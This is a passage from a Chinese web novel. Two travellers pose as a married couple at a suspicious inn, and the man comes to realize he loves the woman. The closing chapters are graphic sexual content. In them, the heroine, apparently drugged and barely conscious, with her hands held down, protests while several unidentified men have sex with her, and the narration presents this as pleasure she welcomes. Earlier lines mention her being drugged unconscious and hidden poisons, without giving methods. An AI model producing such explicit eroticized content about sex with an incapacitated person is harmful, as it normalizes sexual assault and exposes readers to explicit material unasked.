「这……」谢老板一听到莫承瑜要三间房,表情显得有些为难地说:「莫大夫也知道我们这种小地方,会住宿的客人原本就不多,小店原本就只有四间空房,只是这几天不知道为何,来往的旅客变多了,今日只剩下两间,不知道莫大夫可否与令阃一间房?」
谢老板看到莫承瑜身边出现一个女子,而且後头还有两个小婢女抱着两名孩子,直觉地就认为他们是夫妻,虽然有些不明白为何要三间房,这事情他也不便过问,只是小店原本就不是作大生意,特殊情况也只能请他们见谅。
「我们……」水晴正想要开口解释,却被莫承瑜硬生生打断,说:「谢老板言重了,在下就与拙荆同房,另一间就腾给她们与孩子。另外,晚膳请谢老板发落即可,并准备些热水,一同送到房里。」
「是,那麽请跟小的一起到您住宿的房间。」谢老板见到莫承瑜一点为难的意思也没有,高兴地带着他们前往客房。
谢老板先带他们将孩子与两名小婢女安置妥当,随即带着莫承瑜与水晴来到另一间房,确认他们满意之後,离开去准备他们所需要的东西。
水晴看谢老板离开,房门也关好後,原本挂在微笑瞬间消失,一脸严肃地对着莫承瑜,说:「为何要胡言乱语?」
「我何时胡言乱语?」莫承瑜一脸无辜地回。
「我们根本就不是夫妻,为何要阻止我解释?」水晴不满地说。
☆、136.假動作
「你说呢?」莫承瑜不答反问。
「不要用问题回答我!」水晴气呼呼地瞪着他,虽然能理解这群男人们对她所为的一切,但是却不能够因此而以为她就乖乖听话,她也是一个人,也有自己的思考,也有自己的主张,不是随便任由他们捏扁搓圆。
莫承瑜只是轻轻地瞥了她一眼,慢条斯理地走到桌边,拉了张椅子坐下,拿起桌上的水杯,倒了两杯,一杯放在自己的面前,另一杯放在对面,说:「先坐下。」
水晴没好气地睨了莫承瑜一眼,不情不愿地坐在他的对面,端起杯子一口就将茶水喝光,用力地放下杯子,继续用那一双美丽水亮的眼眸瞪着他。
莫承瑜被她充满着怒火的眼神烧得差点遍体鳞伤,只好苦笑着说:「好啦!别瞪了。方才谢老板不是说过,这条路上几乎很少人会经过,几乎是隔三差五才会有一两组客人来到此处。尤其,这个地方方圆百里之间,既没有大城镇,也没有任何名山胜水之地,旅客变多都是在我们来到之前的几天,难道你不觉得奇怪?」
水晴被他一点,也发现到不太合理的地方,思索了一会儿,说:「他们是来寻我们?」
「这个……我就不清楚了。」莫承瑜两手一摊,不负责任地说。
「你!」水晴被他的轻挑口气搞得说不出话来。
「别气,反正既来之,则安之。烦恼太多也只是给自己添堵,明日过後,我们还有很长的一段路要赶,现在你该做的事,就是先沐浴,吃饱,然後上床歇息。」莫承瑜面带笑容,似乎对於目前的状况都能够掌握,不担心有任何状况产生。
气定神闲的模样让水晴忍不住地叹息,这个人是真的没有危机意识,或者所有的一切都在他的掌握当中,不管如何,她知道莫承瑜绝对不会让她们母子三人陷入危机。
夜深人静,虽然说是万籁俱寂,然而,偶尔还是会听到一两声不知名的虫鸣,以及些许呼啸的风声。
水晴躺在床上熟睡着,突然间,薄被被掀起一角,一个不算轻的重量正压在她的身上,灼热的气息正喷洒在她的脸上,正好眠的她,猛然惊醒,才刚要开口大叫,就被一只手摀住嘴,由於没有灯火,也没有月光,她只能心惊胆战地瞪大双眼看着上方的黑影。
「别叫,是我。」
听到熟悉的声音,水晴才放下不安,伸手想拍掉摀住嘴巴的大手,却被莫承瑜轻声制止,「嘘!外头有人,不要发出任何声音,知道吗?」
水晴点点头,莫承瑜见状,放开摀住她的手,两人就这样倾耳听着房门外头些许的动静,突然,房间门似乎开了一个小缝,莫承瑜不动声色,拉起棉被盖住两人的身体,只留下两颗头在外面,随即低下头,大手捧住水晴的头,而身体做出令人遐想的动作。
莫承瑜的动作缓慢,在昏暗的房间当中,似乎像是一对小夫妻正在恩爱,外头的人偷窥了一会儿,房门又缓缓地关上,外头传来一阵唏唏嗦嗦的声音,似乎是有人在低声说话,很快就恢复平静。
等到外头一切恢复正常,水晴才用力地推开压在身上的男人,说:「外头没人,不用做戏了。」
「嗯。」莫承瑜起身坐在床沿,伸手抹了一下脸,用不同与平时的低沉嗓音,低声地应了一声。
莫承瑜的语气充满着什麽样的意味,水晴很清楚,毕竟方才他压在身上的时候,他的身体发生了什麽变化,她可知道得一清二楚,所以才会在外头的人离开之後,急忙地推开他。
两人默默无语,空气中凝重却又多了一丝不知名的暧昧,许久,水晴才开口打破沉默,说:「你知道外头的人想要作什麽?」
「不清楚。」莫承瑜简短地回答,起身点起一盏烛火,才转头看向水晴,只见她一脸「你骗人」的表情看着他,轻吐出一口气,说:「不需要用那种表情看着我,我是真的不知道,我方才也只是被外头的动静惊醒,连他们的脸都没有看到,真的不清楚他们是何方神圣,也不清楚他们所欲为何。」
水晴依旧不信莫承瑜的话,这副模样看在他的眼中,有一种莫名的无奈与感伤,可是他现在不管说得再多,也只像是在辩解,「不管你信或不信都无所谓。天色已晚,快点休息,明日我们还是要早起出发。烛火,我就不吹熄。」说完,走回到方才休息的地上,默默地躺下,转身背对着水晴。
水晴原本到嘴边的道歉,看到莫承瑜的背影,却怎麽也说不出来,她知道自己方才的话有些伤人,可是,她已经被男人们骗得团团转,他们的一举一动几乎都是带有目的,更何况莫承瑜居然对她产生了慾望,这一点是让水晴更加感到恐惧,毕竟已经被当傻子这麽多次,也不能怪她现在充满了戒备之心。
水晴无言地躺回床上,看着睡在地上的男人背影,想到他一路上无微不至的照顾,相对照自己对於他的态度,依照两人的交情,似乎太过於冷淡,也太过於无情。可是,她就是没有办法控制自己对於他们释出的好意充满了疙瘩,没想到伤了人,也伤了自己。
躺在地上的莫承瑜一点睡意也没有,对於水晴的一举一动都清楚明白,他本是想要藉由假象,让外头的人知道住在这间房的是一对平凡又甜蜜的小夫妻,毕竟,他们身边带了两个孩子,这个伪装的身份才是最不容人起疑,而且也要有一些动作才能取信於人。
只是,动着动着,自己也不清楚为何会对水晴动起慾念,明明他只当她是一个妹妹,为何在方才闻到她的体香,抚摸到细嫩的肌肤,以及感受到她吐气若兰的呼息,就止不住自己身体的一股热流往两腿间移去。
☆、137.明白心意
莫承瑜自认为不是一个容易冲动的人,因为他从小就是一个安静的孩子,在小孩们喜欢群聚在一起游玩的那段时光,他就是跟着师父的身边,学习医术,最大的活动就是到田野、山林去找寻找的药草,对於一些孩子喜欢的事情都不感兴趣。
他的这种个性在师父眼中,根本就不算什麽,因为他自己也是一个不受世俗规范的人,大师兄是一个沈默寡言的人,并不会对他的举止多说些什麽,所以在庄里的生活根本就是像在天堂一般,能够让他专心在喜欢的事物上。
当然,事情总有利外,这个例外就从三师弟与小师妹入门之後开始,他们两个的心性从小到大根本就没有变过,好听一点,就是童心未泯,说难听一点,就是两个长不大的人。据他们所谓的好意,是为了增加他的喜怒哀乐,才会时常想些法子吓他、骗他、气他、逗他,
没想到他的脾气没上来,他们两人反而被他整得很惨,他们也不想想,他手中的一些不会致人於死,但可以生不如死的毒药,轻易地藏於平日常见,而且不会分心去注意到的地方,如门把、茶水、烛火、食物、或者衣物,根本就防不胜防,他们两个小鬼头想要与他拼,还得要看他们有没有这个命。
越到长大,他们得到的教训越多,越不会找他的麻烦。当然,这只是假象,因为他们转明为暗,明得整不到他,就来几招阴险的。多吃几年饭的他,还是比两只小鬼头还要精灵,每一次都让他们扼腕而归。
只有一次,那一次他们三个师兄弟都中了师妹的计谋,让他平日就是一个清心寡慾之人,享受到了另一种人生的快乐,将能够引起他最大兴趣的药草、毒物,都在那一刻抛诸脑後。
纵情一回,让他平静无波的心出现了一丝杂念,隔天他以为将会事过境迁,又回到了最初的自己,却随着水晴的到来、失意、失忆、离去、回归,一点一点地改变他,一点一点地蚕食他。看着她笑的灿烂,看着她不顾一切去追求,看着她为爱粉身碎骨,他是多麽希望那个男人是自己。
听到她坠崖的消息,当下他只觉得眼前的景色一片灰暗,原本一条明亮的道路笼罩着浓浓的雾,看不到前头的方向。又过了两年,从师父的口中得知水晴并没有身亡,而是改了名字,与大师兄双宿双飞地生活在一个小村落当中,若不是他们对於村落的贡献太大,阴错阳差地回到了王宫,可能这辈子他都不会知道她的下落。
前几天,他要为师父复诊,正要离开之时,听到师父淡淡地说,水晴回来了,但也要去远方,问他是否愿意当一回护卫,将水晴送往安全的地方,当下他连思索的时间都没有,连忙地说应承下来。回到自己的住处後,静下心来,望着自己的炼丹房,才发现到自己其实分不开身,百思不解自己为何会脱口而出,接下护送一职。
师父为了让水晴能够不挣扎而离开,向他要了一些迷药,接着要他在预定的时间、地点搭上了马车,一路往预定的目的地驶去。在水晴昏迷的那一段时间,他不自觉地待在她的身边,看着她沉睡的容颜,心中的某一个角落似乎有了不同的变化,就在他痴痴望着的时候,心中闪过一丝念头,这个念头让他整个人吓得退离水晴好几步,瞪大着双眼不敢置信,脑海中回想之前的种种,抽丝剥茧後才真正地明白自己的心。
原来,他早已经将她放在心上,而且不是之前那个小师妹,而是後来的水晴,那一个在逆境中,苦难中,不低头的坚毅女子。虽然她的身心可能伤痕累累,然而却一次又一次地站起来,重新寻找自己的位置与方向,不断地在挫折当中站起来,就是这样一颗不服输的心与勇气,就有如温水煮蛙,在不自觉当中,缓慢却深刻地烙印在他的心中。
经过方才的事件之後,身体最先反应他真正的心意,在一个隐密的空间当中,一个身心都健全的男人,会因为一个女人而动心,情不自禁,虽然可以归咎於男人的天性。可是,他却知道自己并不是那样的人,若非心已动情,身体是不会有如此的反应。
就在此刻,他已经明白地知道自己已经沦陷,这一次在没有任何的阻碍之下,她来到了他的身边,就是老天爷给他一个机会,让他可以独占她,拥有她,并且成为她心中最重要的那个人。
热……好热……都快要入秋了……夜晚怎麽会这麽热……
水晴烦躁地一直翻身,小手不自觉地拉扯着自己的衣服,原本觉得凉爽的夜晚,也是正好眠的时刻,却不知道为何房内的温度一直上升,闷热是她现在最直接的感受。
「水晴!快醒醒!」
一阵忽远忽近的呼唤在她的耳边响起,然而想要看清楚是谁,眼皮却一直睁不开,不过,唯一让她觉得舒服的是一只冰凉的物体正轻柔地摸着她烫红的小脸,凉意快感让她忍不住发出舒服的呢喃,这时凉凉的物体似乎发现到不对劲,正想要抽走,水晴连忙抓住远离的凉意,努力地在自己身体发热的部份游移,尽量减缓了一些烦热。
「水晴……放开……不然你会……」一阵沙哑低喘的声音,有如低鸣的鼓声,幽幽地传到她的耳里。
「嗯……好舒服……」水晴虽然在迷蒙当中,有听到对方压抑的口气,可是那语调远近不清,让她根本就听不清楚,反而是越来越热的身体,一点都不想要放开小手所抓住的冰凉,一边拉开衣襟,一边将冰凉的物体往胸前一放。
抚平焦躁的她似乎听到一阵急促的粗喘声,下一瞬间她身上的衣物全部被解开,那股冰凉就像是有意志一般,在她的身上四处巡礼,虽然一开始冷却了热度,可是冰凉过後的部位,反而变得更加炽热。
☆、138.男人們
发现到能让她舒服的温度想要离去,这时候怎麽能弃她而去,小手胡乱挥动想要抓住更多,用酥软娇嫩嗓音喊着:「好热……哈啊……不要走……嗯……人家还想要……啊……嗯……」
不知道是自己的祈求被听见,那份凉爽转回到自己的身上,不过,水晴因为热而将身上的衣物褪去大半,雪白的娇躯更是大辣辣地显露出来,潮红而让雪白染上一抹红,肌肤上头更是布满了细小的水珠,水亮晶莹就像是一只美丽的琉璃。
水晴眼前一片迷蒙,只见一抹一抹的黑影闪过,她想要说些什麽,可是话到嘴边吐出来的声调却是勾人的呻吟,她也不知道自己到底发生什麽事情,模糊的印象最後只存留在自己离开了像是鬼屋的客栈之後,上了马车,一行人再一次坐上马车,往目的地前进,那时候听到儿子们哭喊的声音,连忙上前查看,之後,她就一点印象也没有。
一想到两个儿子,水晴突然觉得神智清醒了不少,不顾自己身体郁闷的烦热,想用手撑起自己的身子,却发现自己一点力量都使不上,只能无助地喊:「我的儿子……」
「放心,他们睡得正熟。」一阵低沉又熟悉的声音,在水晴的耳边响起,她听到儿子安全的消息,放心了不少,原本被压下的热度,又再一次缓慢地燃烧起来。
就在水晴放松的那一刻,她发现到自己似乎被人抱了起来,背後是一个温暖的垫子,会自动调整让她可以舒适地轻靠着,舒服地发出满足的低喃。
正当水晴舒服得快要睡着的时候,突然两团丰满的胸乳被捏着、揉着,顶端的小蓓蕾更是被用力掐着,让她有些吃疼地想要挥开,却不料双手被抓住,置於身体的两旁。
行动被箝制使水晴有些惊慌,迷蒙的神识稍稍清醒,扭动着些微恢复力气的身体,大声喊着:「放开我……啊……是谁……嗯……不……啊啊……那里不行……啊嗯……」顾不得要人松开自己的手,现在她感到一阵危机,因为越来越多的手正在她的身上游移,两只绵密正被搓揉成各种形状,两片粉臀也受到温柔的对待,纤细的双腿被轻柔地挑逗着,双腿间的花唇正被手指一开一合地亵玩,不一会儿,她已经全身汗湿,双腿间也渗出花蜜,在她的鼻间闻到的气味都是自己所散发出来的香气。
水晴用力闭眼又睁开,视线比刚才清晰了不少,可是依旧是模模糊糊,然而她很确定有一群人正围绕在她的身边,而且肆无忌惮地在她的身上摸索着,虽然这种感觉对一般人而言,应该是非常恶心,可是她却一丝厌恶都没有,只觉得这些手带给她温柔又疼惜的感觉。
她的行动,她的气味,她的娇吟,让周围的男人们疯狂,更加变本加厉地连嘴都用上,在她细嫩的肌肤上头,留下点点痕迹以及水痕,让雪白又粉嫩的肉体,不多时就布满了淫糜的证据。
越是如此,水晴喊得更加妖媚,身体也扭动得淫浪,体内越来越高涨的慾火已经将她的理智燃烧殆尽,以最妖娆的姿态发出娇喘呻吟,「啊啊……不要……嗯啊……小穴好痒……啊……好想大肉棒……哦……嗯……快给我……嗯……」
她的呻吟让身边的人忍不住地倒抽一口大气,随即身体些微腾空,小穴就被一根又粗又热又硬的东西插入,涨麻的快感让她娇啼一声,接下来後头的菊穴也被硬物挤入,虽然感到疼痛,然而令人无法自拔的快感是两个小穴正被硬物持续的插弄,充满着生命力的硬棒在稚嫩肉壁不停摩擦,泌出大量的汁液,肉体撞击时所发出的噗滋声响,以及插弄刺激着身体不同的部位,所带给她不同的感受,让她舒服又爽快地不停啼叫。
「啊啊……好哥哥……嗯……插得人家好爽……嗯……用力……啊……狠狠地插……啊啊……把人家插坏……啊……啊……」水晴喊得越大声,在小穴的硬棒插抽得更加狂暴,每一次她都觉得已经是进入到深处,却再下一次的插入,硬棒又让她有不同的认知,男人的坚硬正一点一点摧毁她最後的防守,而她却不想要抵抗,反而大开双腿,敞开蜜穴,扭动着身子,迎合着男人的插弄,以求更销魂,更致命的快感。
水晴沉溺在性爱的欢愉当中,硬棒抽插的速度越快,小穴甬道与肠壁更是强烈地收缩,越是收缩就越能感受到硬棒的热度、硬度与脉动,一波又一波的刺激让她一步一步地往上飞,这无止尽的快感让她激情地扭动着身体,最後还是不敌,弓起身子激烈地颤抖,达到了高潮。
她的顶点却不是男人的极限,小穴喷洒出大量的淫液,更是让两根硬棒毫无阻力地抽插着,要不是一双双大手扶住她的身体,她早就瘫软成为一池春水,毫无焦距的双眸含着水汽,妖娆的娇躯不停地抽搐着,不停啼喊的小嘴从嘴角流下一条银丝,体力尽去的模样却引不起男人的怜惜之心,反而更加兴奋地在她的身上持续动作。
在没有停歇的抽插当中,水晴又不知道泄了多少次,终於在一个重击当中,在两个小穴的硬物已经是强弩之末,顶端的小口射出灼热的白液,将她又再一次推向极乐的高峰。
水晴全身瘫软无力,方才那一阵欢爱已经让她原本就不敌男人的体力,被用得只剩下娇喘的力气,两条修长雪白的双腿无力合拢,露出两片肥美又粉嫩的肉唇与红肿的菊穴,毫无掩饰地展示在男人们的面前,长时间的抽插让两个小穴根本无法并拢,除了晶莹的液体之外,还混合着男人射出的白浊,正缓缓地在穴口开合当中流泄出来。
☆、139.夜很長,慢慢來
尚未回过气的水晴,看着在小嘴前头的男根,粗大的棒身上头布满了狰狞的青筋,前端的圆头小口正微微吐露着透明液体,散发着男人特有的麝香味,充满着力量的状态,看得她口乾舌燥,不自主地伸出舌头想舔舔唇瓣,没想到一个不小心舌尖碰到了圆头的小口,下一瞬间,那颗圆头已经被塞入她的口中,缓慢地进出。
「唔唔……呼哈……哈啊……」突如其来的异物让水晴差点窒息,小手用力地推着,小舌头用力顶着,男人才发现到自己太过於粗暴,从那张销魂的小嘴当中退出自己的硬物,一只大手温柔地抚摸着涨红的粉颊,爱怜地将她唇边的水渍轻轻拭去。
「乖……先张开小嘴,帮哥哥吸出来,吸出来就会有好喝的射到你这张饥渴的小嘴当中……」刚才的激情让水晴现在的身体依旧充满着慾望,男人低沉的嗓音充满着魔力,有如轻柔的羽毛一般,骚动着她的心,非常听话地张开小嘴,含住刚才让她差点噎着的硬物。
「喔……真乖……用力吸……对,就是这样……小嘴的功夫真是棒……」男人捧着小巧的下巴,让她不用费太大劲儿,小嘴当中似乎有无穷的吸力,舔吮得男人发出舒爽的低声嘶吼,壮健的腰臀正缓缓地前後摆动,看着嫣红的小嘴吞吐着自己的巨大,尤其那张小嘴所吐出的津液沾满了整根棒身,在吞吐当中都可以听到啧啧的吸吮声,就像是孩童正吃着甜蜜的蜜糖一般。
「这里还有……」
「用你的手握住……」
两只大手抓住水晴的双手,分别握住一根又粗又热的南傍国,大手握住小手,小手圈住粗大的南傍国,随着大手的律动轻柔地撸动着。
正当她吃得尽兴,玩得愉悦的当下,只觉得身体一阵悬空,双腿间尚未真正平复的两个小洞,又被两根巨大坚硬的阳物插了进去,随着她小嘴吞吐、双手撸动的动作一起摆动。
「小淫娃这淫荡的小穴,水都流这麽多,怎麽可能受不住……」
「喔……後头的小穴也不是一般,夹得我好爽……」
「唔……你们真该试试她上头的小嘴,吸含舔弄,保证伺候得你服服贴贴……」
「这细腻的小手也不是盖的……」
「是啊……这手是有什麽神奇之处,只是圈着而已,怎麽会像是有吸力一样……喔……舒服,真爽……」
男人的淫言秽语,以及狂暴的激烈刺激,让水晴奋力地用小舌头顶出硬物想要表示抗议,发现到水晴动作的男人知道自己不能太过莽撞,随着她的动作退出小嘴,吐出让她无法发声的物体,娇喘喊着:「嗯唔……你们讨厌……啊……哥哥轻点……嗯……太重……啊啊……好深……啊嗯……好舒服……啊啊……好爽……嗯……啊……啊啊……」伸出粉红小舌舔着近在眼前的男物,两手依旧不停地上下撸动,身体随着男人们的撞击,幸好男人们温柔地圈住她的身子,让他不至於摇晃得差点摔倒在床上。
水晴妖娆的姿态,淫荡的呻吟,小嘴饥渴地舔着男根的圆头,双手更是不遗余力地动作着,下头的两个小穴丝毫没有餍足地吃着硬棒,全身上下布满了汗水、白液、以及男女的体液,在这个空间当中,只闻得到浓浓的情慾,只听得到男女此起彼落的粗喘呻吟,只见得到一具具肉体在彼此的身上获得最大的满足。
「嗯……不要……啊啊……受不住了……嗯……太多……嗯啊……人家会死……啊啊……饶了人家……啊啊啊……不要……」水晴虽然嘴巴喊着求饶的词语,可是当她听到男人们舒爽的呻吟时,身体却一点都不是这样动作,小穴更加用力含着,小嘴更是努力地吞吐,小手用了些微的力量握住越发粗大的男根,搞得男人们更加火热,将她折腾得死去活来。
水晴越是求饶,在身边的男人们更是蹂躏着她的身体,不论是能喊出淫浪呻吟的小嘴,粉嫩硬挺得乳尖,浑圆饱满的双峰,盈盈不握的细腰,翘挺的粉臀,以及双腿间最迷人的两个小穴,都被男人一寸不露地舔、摸、捏、揉,能够想得到的方法,都用在她的身上。
「啊……哥哥用力捏人家的奶子……嗯……也捏捏乳尖……啊啊……肉棒好好吃……啊……小穴好胀……嗯……好粗……哦……好大……哈啊……怎麽会这麽爽……啊啊……好厉害……嗯……啊……啊啊……」男人们用的力道各有千秋,有的温柔,有的狂暴,有的先礼後兵,有的根本就是来发泄似的,不管是哪一种方法,都让水晴又是兴奋,又是酥软,小穴被男根长时间的插抽,已经肿胀不堪,从体内留下的淫液已经将她身下的一尺方圆全都浸淫成为一片水泽,欲罢不能的快感让她啼叫出动人又妩媚的呻吟。
不知道被男人搞了多久,终於最後一刻,男人们都在她的身上获得最大的满足,也射出了又浓又多的白浊,喷洒在她的小嘴,两团胸乳,两个小穴里头,雪白又粉嫩的身子布满点点白浊,尤其白浊更是充满了浓浓的腥味,与她的体液相互融合,交织出另一种说不出的淫糜气味。
水晴喊得口乾舌燥,不自觉地伸出舌头舔舔唇瓣,一个不小心就将嘴边的一点白浊勾进了嘴里,迷蒙妩媚地品嚐着男人的滋味,淫荡的模样让原本缴械的男人们又再一次提枪上阵,这一次他们搬风,各自找方才还没有体验过的部位,继续在她敏感的身子当中获得另一个高峰。
这个夜很长,足够让水晴与男人们在各种不同的地方,用各种不同的体位,体验各种销魂的快感。